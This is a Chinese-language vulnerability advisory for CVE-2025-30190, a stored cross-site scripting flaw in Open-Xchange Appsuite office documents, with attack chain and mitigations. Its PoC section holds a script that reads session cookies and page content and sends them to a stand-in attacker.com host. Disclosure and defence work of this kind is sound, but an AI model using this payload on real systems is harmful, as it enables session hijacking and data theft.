IPBUF安全漏洞报告
English
CVE-2025-30190 CVSS 5.4 中危

CVE-2025-30190 Open-Xchange Appsuite 办公文档存储型XSS漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-30190
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Open-Xchange Appsuite

相关标签

存储型XSS跨站脚本Open-XchangeAppsuite办公文档信息泄露会话劫持CVE-2025-30190

漏洞概述

CVE-2025-30190是Open-Xchange Appsuite中的一个安全漏洞,攻击者可以在Office文档中嵌入恶意脚本代码。当其他用户打开或编辑这些被植入恶意代码的文档时,脚本代码会在用户浏览器上下文中执行,可能导致敏感信息泄露、会话劫持或其他未授权操作。该漏洞的CVSS评分为5.4,属于中等严重程度。攻击复杂度较低,但需要用户交互才能触发。攻击者可以利用此漏洞在用户不知情的情况下窃取认证令牌、个人数据或其他敏感信息,对企业数据安全构成威胁。

技术细节

该漏洞为存储型XSS(Cross-Site Scripting)漏洞,存在于Open-Xchange Appsuite的文档编辑功能中。攻击者首先创建一个包含恶意JavaScript代码的Office文档(如.docx、.xlsx等),然后将其上传到服务器或通过文档编辑功能注入脚本代码。由于应用程序在处理文档内容时未对用户输入进行充分的HTML转义或内容安全策略(CSP)限制,恶意脚本代码被存储在服务器端。当其他用户打开、预览或编辑该文档时,浏览器会解析并执行这些恶意脚本。由于脚本在受害者用户上下文中执行,可以访问该用户的会话cookie、读取文档内容、发起API请求等,从而实现敏感数据窃取或进一步的攻击。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意JavaScript代码的Office文档,利用文档编辑功能或文件上传接口将脚本注入到文档内容中
STEP 2
步骤2
恶意文档被存储到Open-Xchange Appsuite服务器,由于输入验证不足,脚本代码未被转义或清除
STEP 3
步骤3
受害者用户登录Appsuite并打开或编辑该恶意文档
STEP 4
步骤4
浏览器解析文档内容时执行嵌入的恶意脚本,脚本在受害者会话上下文中运行
STEP 5
步骤5
恶意脚本窃取受害者的认证令牌、会话cookie或文档内容,并通过HTTP请求将数据发送到攻击者控制的服务器
STEP 6
步骤6
攻击者利用窃取的凭证进一步横向移动或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- 恶意Office文档中嵌入的JavaScript代码示例 --> <script> // 窃取用户会话令牌 var sessionToken = document.cookie; // 发送窃取的数据到攻击者服务器 fetch('https://attacker.com/steal?data=' + btoa(sessionToken), { method: 'GET', mode: 'no-cors' }); // 读取文档内容并外传 var docContent = document.body.innerHTML; fetch('https://attacker.com/exfil?content=' + btoa(docContent), { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({content: docContent}) }); </script>

影响范围

Open-Xchange Appsuite 所有未修复版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:限制文档上传功能的使用权限,仅允许受信任用户上传文档;对上传的Office文档进行格式验证和安全扫描;启用严格的输入验证机制,过滤或转义HTML/JavaScript标签;配置Web应用防火墙(WAF)规则检测和阻止恶意脚本注入;加强对文档预览功能的脚本执行限制;监控异常的网络流量和API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表